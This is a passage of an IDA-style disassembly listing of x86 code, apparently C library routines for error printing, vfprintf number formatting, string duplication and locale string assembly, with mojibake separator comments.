sub_8062534+61j test ebx, ebx jle short loc_80625CD mov edx, [ebp+arg_0] mov eax, [edx+50h] push ebx push esi push edx mov eax, [eax+34h] call eax add edi, eax loc_80625CD: ; CODE XREF: sub_8062534+7Bj ; sub_8062534+87j mov eax, edi lea esp, [ebp+var_1C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8062534 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80625DC proc near ; CODE XREF: sub_805CE84+439p ; sub_805DA10+B6p var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_0] mov ebx, __errno call sub_805E954 test esi, esi jz short loc_80625F9 cmp byte ptr [esi], 0 jnz short loc_8062608 loc_80625F9: ; CODE XREF: sub_80625DC+16j mov edi, 8069A50h mov esi, 8069A50h jmp short loc_806260D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8062608: ; CODE XREF: sub_80625DC+1Bj mov edi, offset asc_8069A51 ; ": " loc_806260D: ; CODE XREF: sub_80625DC+27j test ebx, ebx jl short loc_8062648 cmp ds:dword_806BBB8, ebx jle short loc_8062648 mov eax, ds:dword_806AE98[ebx*4] push eax lea eax, [ebx+1] push eax push 1 mov eax, dword_8078F9C push eax call catgets push eax push edi push esi push offset aSSS ; "%s%s%s\n" push offset unk_80787A4 call fprintf jmp short loc_8062672 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8062648: ; CODE XREF: sub_80625DC+33j ; sub_80625DC+3Bj push ebx push offset aUnknownError ; "Unknown error" push 1 push 1 mov eax, dword_8078F9C push eax call catgets add esp, 10h push eax push edi push esi push offset aSSSD ; "%s%s%s %d\n" push offset unk_80787A4 call fprintf loc_8062672: ; CODE XREF: sub_80625DC+68j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_80625DC endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_806267C proc near ; CODE XREF: sub_8054DB8+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push edi push esi push ebx mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] mov edi, [ebp+arg_8] cmp dword ptr [ebx+24h], 0 jz short loc_80626AD cmp edi, 1 jnz short loc_80626A4 test byte ptr [ebx+1], 1 jz short loc_80626A4 mov eax, [ebx+8] sub eax, [ebx+4] sub esi, eax loc_80626A4: ; CODE XREF: sub_806267C+18j ; sub_806267C+1Ej push ebx call sub_80618D4 add esp, 4 loc_80626AD: ; CODE XREF: sub_806267C+13j mov eax, [ebx+50h] mov edx, [ebp+arg_C] push edx push edi push esi push ebx mov eax, [eax+44h] call eax lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_806267C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80626C8 proc near ; CODE XREF: sub_8054DF0+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov edx, [ebp+arg_0] mov ebx, [ebp+arg_4] mov ecx, [ebp+arg_8] test edx, edx jz short loc_80626E7 mov eax, [edx] and eax, 0FFFF0000h cmp eax, 0FBAD0000h jz short loc_80626F4 loc_80626E7: ; CODE XREF: sub_80626C8+Fj mov __errno, 16h jmp short loc_806270B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80626F4: ; CODE XREF: sub_80626C8+1Dj and dword ptr [edx], 0FFFFFDFFh test ebx, ebx jnz short loc_8062700 xor ecx, ecx loc_8062700: ; CODE XREF: sub_80626C8+34j mov eax, [edx+50h] push ecx push ebx push edx mov eax, [eax+54h] call eax loc_806270B: ; CODE XREF: sub_80626C8+29j mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_80626C8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8062714 proc near ; CODE XREF: vfprintf+DAFp ; vfprintf+27B3p var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch push edi push esi push ebx mov edx, [ebp+arg_C] mov [ebp+var_4], offset a0123456789abcd ; "0123456789abcdefghijklmnopqrstuvwxyz" cmp [ebp+arg_10], 0 jz short loc_8062734 mov [ebp+var_4], offset a0123456789ab_0 ; "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" loc_8062734: ; CODE XREF: sub_8062714+17j mov edi, [ebp+arg_8] cmp edx, 0Ah jz short loc_8062758 ja short loc_806274C cmp edx, 8 jz loc_80627E8 jmp loc_806282C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806274C: ; CODE XREF: sub_8062714+28j cmp edx, 10h jz short loc_80627A0 jmp loc_806282C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8062758: ; CODE XREF: sub_8062714+26j ; sub_8062714+7Dj ... dec edi push 0 push 0Ah push [ebp+arg_4] push [ebp+arg_0] call sub_806744C add esp, 10h mov edx, eax mov ecx, [ebp+var_4] mov dl, [edx+ecx] mov [edi], dl push 0 push 0Ah push [ebp+arg_4] push [ebp+arg_0] call sub_8067344 add esp, 10h mov [ebp+arg_0], eax mov [ebp+arg_4], edx cmp [ebp+arg_0], 0 jnz short loc_8062758 cmp [ebp+arg_4], 0 jnz short loc_8062758 jmp loc_8062879 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80627A0: ; CODE XREF: sub_8062714+3Bj ; sub_8062714+C5j ... dec edi push 0 push 10h push [ebp+arg_4] push [ebp+arg_0] call sub_806744C add esp, 10h mov edx, eax mov ebx, [ebp+var_4] mov dl, [edx+ebx] mov [edi], dl push 0 push 10h push [ebp+arg_4] push [ebp+arg_0] call sub_8067344 add esp, 10h mov [ebp+arg_0], eax mov [ebp+arg_4], edx cmp [ebp+arg_0], 0 jnz short loc_80627A0 cmp [ebp+arg_4], 0 jnz short loc_80627A0 jmp loc_8062879 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80627E8: ; CODE XREF: sub_8062714+2Dj ; sub_8062714+10Dj ... dec edi push 0 push 8 push [ebp+arg_4] push [ebp+arg_0] call sub_806744C add esp, 10h mov edx, eax mov ecx, [ebp+var_4] mov dl, [edx+ecx] mov [edi], dl push 0 push 8 push [ebp+arg_4] push [ebp+arg_0] call sub_8067344 add esp, 10h mov [ebp+arg_0], eax mov [ebp+arg_4], edx cmp [ebp+arg_0], 0 jnz short loc_80627E8 cmp [ebp+arg_4], 0 jnz short loc_80627E8 jmp short loc_8062879 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806282C: ; CODE XREF: sub_8062714+33j ; sub_8062714+3Dj mov ecx, edx xor ebx, ebx mov [ebp+var_C], ecx mov [ebp+var_8], ebx lea esi, [esi] loc_8062838: ; CODE XREF: sub_8062714+15Fj ; sub_8062714+163j dec edi push [ebp+var_8] push [ebp+var_C] push [ebp+arg_4] push [ebp+arg_0] call sub_806744C add esp, 10h mov edx, eax mov ebx, [ebp+var_4] mov dl, [edx+ebx] mov [edi], dl push [ebp+var_8] push [ebp+var_C] push [ebp+arg_4] push [ebp+arg_0] call sub_8067344 add esp, 10h mov [ebp+arg_0], eax mov [ebp+arg_4], edx test eax, eax jnz short loc_8062838 test edx, edx jnz short loc_8062838 loc_8062879: ; CODE XREF: sub_8062714+85j ; sub_8062714+CDj ... mov eax, edi lea esp, [ebp+var_18] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8062714 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8062888 proc near ; CODE XREF: sub_8054EC8+9Bp ; sub_8054EC8+104p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] lea eax, [ebp+arg_C] push eax push edx push ecx push ebx call sub_80628A8 mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8062888 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80628A8 proc near ; CODE XREF: sub_8054EC8+297p ; sub_8062888+14p var_6C = byte ptr -6Ch var_60 = byte ptr -60h var_4C = dword ptr -4Ch var_10 = dword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 60h push edi push esi push ebx mov edi, [ebp+arg_0] mov ebx, [ebp+arg_4] push 0 lea esi, [ebp+var_60] push esi call sub_8061F34 mov [ebp+var_10], offset unk_80787FC push edi dec ebx push ebx push edi push esi call sub_8052E80 mov ecx, [ebp+arg_C] push ecx mov ecx, [ebp+arg_8] push ecx push esi call vfprintf mov edx, eax mov eax, [ebp+var_4C] mov byte ptr [eax], 0 mov eax, edx lea esp, [ebp+var_6C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_80628A8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80628F8 proc near ; CODE XREF: sub_8062D4C+347p ; sub_8062D4C+577p ... var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov [ebp+var_4], ecx mov esi, [ebp+arg_0] xor al, al mov edi, esi cld mov ecx, 0FFFFFFFFh repne scasb mov ebx, ecx not ebx push ebx call malloc mov edi, eax add esp, 4 test edi, edi jz short loc_8062934 push ebx push esi push edi call memcpy mov eax, edi jmp short loc_8062936 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8062934: ; CODE XREF: sub_80628F8+2Cj xor eax, eax loc_8062936: ; CODE XREF: sub_80628F8+38j lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_80628F8 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8062940 proc near ; CODE XREF: sub_8062D4C+6B4p ; sub_8062D4C+84Fp var_58 = byte ptr -58h var_4C = dword ptr -4Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push edi push esi push ebx mov [ebp+var_4], ecx mov [ebp+var_20], 0 mov [ebp+var_28], 1 mov [ebp+var_4C], 0 db 8Dh,76h,0 ; lea esi, [esi+0] loc_8062964: ; CODE XREF: sub_8062940+132j cmp [ebp+arg_0], 6 jnz short loc_8062978 mov edx, [ebp+var_4C] mov esi, [ebp+arg_4] mov ebx, [esi+edx*4] jmp short loc_8062992 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8062978: ; CODE XREF: sub_8062940+28j mov edx, [ebp+var_4C] cmp [ebp+arg_0], edx jnz short loc_8062988 mov esi, [ebp+arg_4] mov ebx, [esi] jmp short loc_8062992 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8062988: ; CODE XREF: sub_8062940+3Ej mov edx, [ebp+var_4C] mov ebx, dword_80790BC[edx*4] loc_8062992: ; CODE XREF: sub_8062940+33j ; sub_8062940+45j xor al, al mov edi, ebx cld mov ecx, 0FFFFFFFFh repne scasb mov eax, ecx not eax dec eax mov esi, [ebp+var_4C] mov [ebp+esi*4+var_1C], eax mov eax, [ebp+esi*4+var_1C] mov edx, [ebp+var_4C] add eax, ds:dword_806AA8C[edx*4] mov esi, [ebp+var_20] lea esi, [esi+eax+2] mov [ebp+var_20], esi test edx, edx jle short loc_80629E6 cmp [ebp+var_28], 0 jz short loc_80629E6 mov edx, [ebp+arg_4] mov eax, [edx] push eax push ebx call sub_8057ADC add esp, 8 test eax, eax jz short loc_80629E6 mov [ebp+var_28], 0 loc_80629E6: ; CODE XREF: sub_8062940+84j ; sub_8062940+8Aj ... mov esi, [ebp+var_4C] inc esi mov [ebp+var_3C], esi cmp [ebp+arg_0], 6 jnz short loc_80629FC mov edx, [ebp+arg_4] mov ebx, [edx+esi*4] jmp short loc_8062A16 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80629FC: ; CODE XREF: sub_8062940+B1j mov esi, [ebp+var_3C] cmp [ebp+arg_0], esi jnz short loc_8062A0C mov edx, [ebp+arg_4] mov ebx, [edx] jmp short loc_8062A16 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8062A0C: ; CODE XREF: sub_8062940+C2j mov esi, [ebp+var_3C] mov ebx, dword_80790BC[esi*4] loc_8062A16: ; CODE XREF: sub_8062940+B9j ; sub_8062940+C9j xor al, al mov edi, ebx cld mov ecx, 0FFFFFFFFh repne scasb mov eax, ecx not eax dec eax mov edx, [ebp+var_3C] mov [ebp+edx*4+var_1C], eax mov eax, [ebp+edx*4+var_1C] mov esi, [ebp+var_3C] add eax, ds:dword_806AA8C[esi*4] mov edx, [ebp+var_20] lea edx, [edx+eax+2] mov [ebp+var_20], edx test esi, esi jle short loc_8062A6A cmp [ebp+var_28], 0 jz short loc_8062A6A mov esi, [ebp+arg_4] mov eax, [esi] push eax push ebx call sub_8057ADC add esp, 8 test eax, eax jz short loc_8062A6A mov [ebp+var_28], 0 loc_8062A6A: ; CODE XREF: sub_8062940+108j ; sub_8062940+10Ej ... add [ebp+var_4C], 2 cmp [ebp+var_4C], 5 jle loc_8062964 cmp [ebp+var_28], 0 jz short loc_8062AFC mov eax, [ebp+var_1C] inc eax push eax call malloc mov [ebp+var_24], eax add esp, 4 test eax, eax jnz short loc_8062AE0 mov edx, [ebp+arg_4] mov eax, [edx] mov edi, offset unk_806AABE mov ecx, 2 mov esi, eax cld test al, 0 repe cmpsb jz short loc_8062ABF mov eax, [edx] mov edi, offset aPosix ; "POSIX" mov ecx, 6 mov esi, eax cld test al, 0 repe cmpsb jnz short loc_8062ACC loc_8062ABF: ; CODE XREF: sub_8062940+168j mov eax, offset unk_806AABC jmp loc_8062C8F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8062ACC: ; CODE XREF: sub_8062940+17Dj mov __errno, 16h xor eax, eax jmp loc_8062C8F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8062AE0: ; CODE XREF: sub_8062940+150j mov edx, [ebp+arg_4] mov edx, [edx] mov eax, [ebp+var_1C] inc eax push eax push edx mov esi, [ebp+var_24] push esi call memcpy jmp loc_8062C8C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8062AFC: ; CODE XREF: sub_8062940+13Cj mov edx, [ebp+var_20] push edx call malloc mov [ebp+var_24], eax add esp, 4 test eax, eax jnz short loc_8062B18 xor eax, eax jmp loc_8062C8F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8062B18: ; CODE XREF: sub_8062940+1CDj mov ebx, [ebp+var_24] mov [ebp+var_4C], 0 mov [ebp+var_2C], offset dword_806AA8C mov [ebp+var_30], offset dword_806AA8C loc_8062B30: ; CODE XREF: sub_8062940+342j cmp [ebp+arg_0], 6 jnz short loc_8062B44 mov esi, [ebp+var_4C] mov edx, [ebp+arg_4] mov edi, [edx+esi*4] jmp short loc_8062B5E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8062B44: ; CODE XREF: sub_8062940+1F4j mov esi, [ebp+var_4C] cmp [ebp+arg_0], esi jnz short loc_8062B54 mov edx, [ebp+arg_4] mov edi, [edx] jmp short loc_8062B5E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8062B54: ; CODE XREF: sub_8062940+20Aj mov esi, [ebp+var_4C] mov edi, dword_80790BC[esi*4] loc_8062B5E: ; CODE XREF: sub_8062940+1FFj ; sub_8062940+211j mov edx, [ebp+var_4C] mov eax, ds:dword_806AA34[edx*4] mov esi, [ebp+var_30] mov esi, [esi] push esi push eax push ebx call memcpy add esp, 0Ch mov edx, [ebp+var_2C] add ebx, [edx] mov byte ptr [ebx], 3Dh inc ebx mov esi, [ebp+var_4C] mov eax, [ebp+esi*4+var_1C] push eax push edi push ebx call memcpy add esp, 0Ch add ebx, [ebp+esi*4+var_1C] mov byte ptr [ebx], 3Bh inc ebx mov edi, [ebp+var_4C] inc edi cmp [ebp+arg_0], 6 jnz short loc_8062BB0 mov edx, [ebp+arg_4] mov edx, [edx+edi*4] jmp short loc_8062BC7 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8062BB0: ; CODE XREF: sub_8062940+263j cmp [ebp+arg_0], edi jnz short loc_8062BC0 mov esi, [ebp+arg_4] mov esi, [esi] mov [ebp+var_34], esi jmp short loc_8062BCA ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8062BC0: ; CODE XREF: sub_8062940+273j mov edx, dword_80790BC[edi*4] loc_8062BC7: ; CODE XREF: sub_8062940+26Bj mov [ebp+var_34], edx loc_8062BCA: ; CODE XREF: sub_8062940+27Dj mov eax, ds:dword_806AA34[edi*4] mov esi, [ebp+var_30] mov esi, [esi+4] push esi push eax push ebx call memcpy add esp, 0Ch mov edx, [ebp+var_2C] add ebx, [edx+4] mov byte ptr [ebx], 3Dh inc ebx mov eax, [ebp+edi*4+var_1C] push eax mov esi, [ebp+var_34] push esi push ebx call memcpy add esp, 0Ch add ebx, [ebp+edi*4+var_1C] mov byte ptr [ebx], 3Bh inc ebx mov edi, [ebp+var_4C] add edi, 2 cmp [ebp+arg_0], 6 jnz short loc_8062C1C mov edx, [ebp+arg_4] mov edx, [edx+edi*4] jmp short loc_8062C33 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8062C1C: ; CODE XREF: sub_8062940+2D0j cmp [ebp+arg_0], edi jnz short loc_8062C2C mov esi, [ebp+arg_4] mov esi, [esi] mov [ebp+var_38], esi jmp short loc_8062C36 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8062C2C: ; CODE XREF: sub_8062940+2DFj mov edx, dword_80790BC[edi*4] loc_8062C33: ; CODE XREF: sub_8062940+2D8j mov [ebp+var_38], edx loc_8062C36: ; CODE XREF: sub_8062940+2E9j mov eax, ds:dword_806AA34[edi*4] mov esi, [ebp+var_30] mov esi, [esi+8] push esi push eax push ebx call memcpy add esp, 0Ch mov edx, [ebp+var_2C] add ebx, [edx+8] mov byte ptr [ebx], 3Dh inc ebx mov eax, [ebp+edi*4+var_1C] push eax mov esi, [ebp+var_38] push esi push ebx call memcpy add esp, 0Ch add ebx, [ebp+edi*4+var_1C] mov byte ptr [ebx], 3Bh inc ebx add [ebp+var_2C], 0Ch add [ebp+var_30], 0Ch add [ebp+var_4C], 3 cmp [ebp+var_4C], 5 jle loc_8062B30 mov byte ptr [ebx-1], 0 loc_8062C8C: ; CODE XREF: sub_8062940+1B4j mov eax, [ebp+var_24] loc_8062C8F: ; CODE XREF: sub_8062940+184j ; sub_8062940+198j ... lea esp, [ebp+var_58] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8062940 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8062C9C proc near ; CODE XREF: sub_8062D4C+7ABp ; sub_8062D4C+8EEp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4 mov [ebp+var_4], ecx mov eax, [ebp+arg_0] mov edx, dword_80790D4 mov dword_80790D4, eax cmp edx, offset unk_806AABC jz short loc_8062CC1 push edx call free loc_8062CC1: ; CODE XREF: sub_8062C9C+1Dj mov esp, ebp pop ebp retn sub_8062C9C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8062CC8 proc near ; CODE XREF: sub_8062D4C+6E9p ; sub_8062D4C+70Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4 mov [ebp+var_4], ecx mov eax, [ebp+arg_0] mov edx, [ebp+arg_4] mov ecx, dword_80790BC[eax*4] mov dword_80790BC[eax*4], edx cmp ecx, offset unk_806AABC jz short loc_8062CF3 push ecx call free loc_8062CF3: ; CODE XREF: sub_8062CC8+23j mov esp, ebp pop ebp retn sub_8062CC8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8062CF8 proc near ; CODE XREF: sub_8062D4C+6DBp ; sub_8062D4C+6FFp ... var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4 push esi push ebx mov [ebp+var_4], ecx mov ebx, [ebp+arg_0] mov edx, [ebp+arg_4] cmp ds:dword_806AA04[ebx*4], 0 jz short loc_8062D40 mov eax, ds:dword_806AA04[ebx*4] mov esi, [eax] mov [eax], edx cmp ds:dword_806AAA4[ebx*4], 0 jz short loc_8062D31 mov eax, ds:dword_806AAA4[ebx*4] call eax ; sub_8066BC4 loc_8062D31: ; CODE XREF: sub_8062CF8+2Ej cmp ds:dword_806AA1C[ebx*4], esi jz short loc_8062D40 push esi call sub_8067040 loc_8062D40: ; CODE XREF: sub_8062CF8+19j ; sub_8062CF8+40j lea esp, [ebp+var_C] pop ebx pop esi mov esp, ebp pop ebp retn sub_8062CF8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8062D4C proc near ; CODE XREF: sub_805E110+6Cp ; sub_805E954+13p var_50 = byte ptr -50h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub 